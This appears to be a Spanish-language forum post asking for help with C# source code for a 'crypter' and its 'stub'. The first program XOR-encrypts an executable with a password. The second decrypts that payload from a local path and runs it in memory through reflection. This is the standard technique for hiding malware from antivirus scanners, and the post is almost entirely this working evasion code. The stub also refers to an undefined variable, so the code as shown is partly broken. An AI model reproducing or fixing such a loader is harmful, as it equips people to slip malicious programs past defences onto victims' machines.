Código
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.IO; namespace Crypter { class Program { [STAThread] static void Main(string[] args) { //No Arguments -> Exit if (args.Length < 2) { Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)"); Environment.Exit(0); } String file = args[0]; String pass = args[1]; String outFile = "Crypted.exe"; //If Output Name is specified -> Set it if (args.Length == 3) { outFile = args[2]; } //File doesn't exist -> Exit if (!File.Exists(file)) { Console.WriteLine("[!] The selected File doesn't exist!"); Environment.Exit(0); } //Everything seems fine -> Reading bytes Console.WriteLine("[*] Reading Data..."); byte[] plainBytes = File.ReadAllBytes(file); //Yep, got bytes -> Encoding Console.WriteLine("[*] Encoding Data..."); byte[] encodedBytes = encodeBytes(plainBytes, pass); Console.Write("[*] Save to Output File... "); File.WriteAllBytes(outFile, encodedBytes); Console.WriteLine("Done!"); Console.WriteLine("\n[*] File successfully encoded!"); } private static byte[] encodeBytes(byte[] bytes, String pass) { byte[] XorBytes = Encoding.Unicode.GetBytes(pass); for (int i = 0; i < bytes.Length; i++) { bytes[i] ^= XorBytes[i % XorBytes.Length]; } return bytes; } } }
El stub:
Código
Pero cuando pongo abro el stub se me cierra y no me abre mi fichero y lo encripte correctamente y todo que estoy haciendo mal?
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.Text; using System.Reflection; using System.Diagnostics; namespace Stub { static class Program { /// <summary> /// MAIN /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); //Application.Run(new Form1()); //Set Payload File and Password HERE RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234"); } private static void RunInternalExe(string exeName, String pass) { //Verify the Payload exists if (!File.Exists(exeName)) return; //Read the raw bytes of the file byte[] resourcesBuffer = File.ReadAllBytes(exeName); //Decrypt bytes from payload byte[] decryptedBuffer = null; decryptedBuffer = decryptBytes(resourcesBuffer, pass); //If .NET executable -> Run if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>")) { //Load the bytes as an assembly Assembly exeAssembly = Assembly.Load(decryptedBuffer); //Execute the assembly exeAssembly.EntryPoint.Invoke(null, parameters); } } /// <summary> /// Decrypt the Loaded Assembly Bytes /// </summary> /// <param name="payload"></param> /// <returns>Decrypted Bytes</returns> private static byte[] decryptBytes(byte[] bytes, String pass) { byte[] XorBytes = Encoding.Unicode.GetBytes(pass); for (int i = 0; i < bytes.Length; i++) { bytes[i] ^= XorBytes[i % XorBytes.Length]; } return bytes; } } }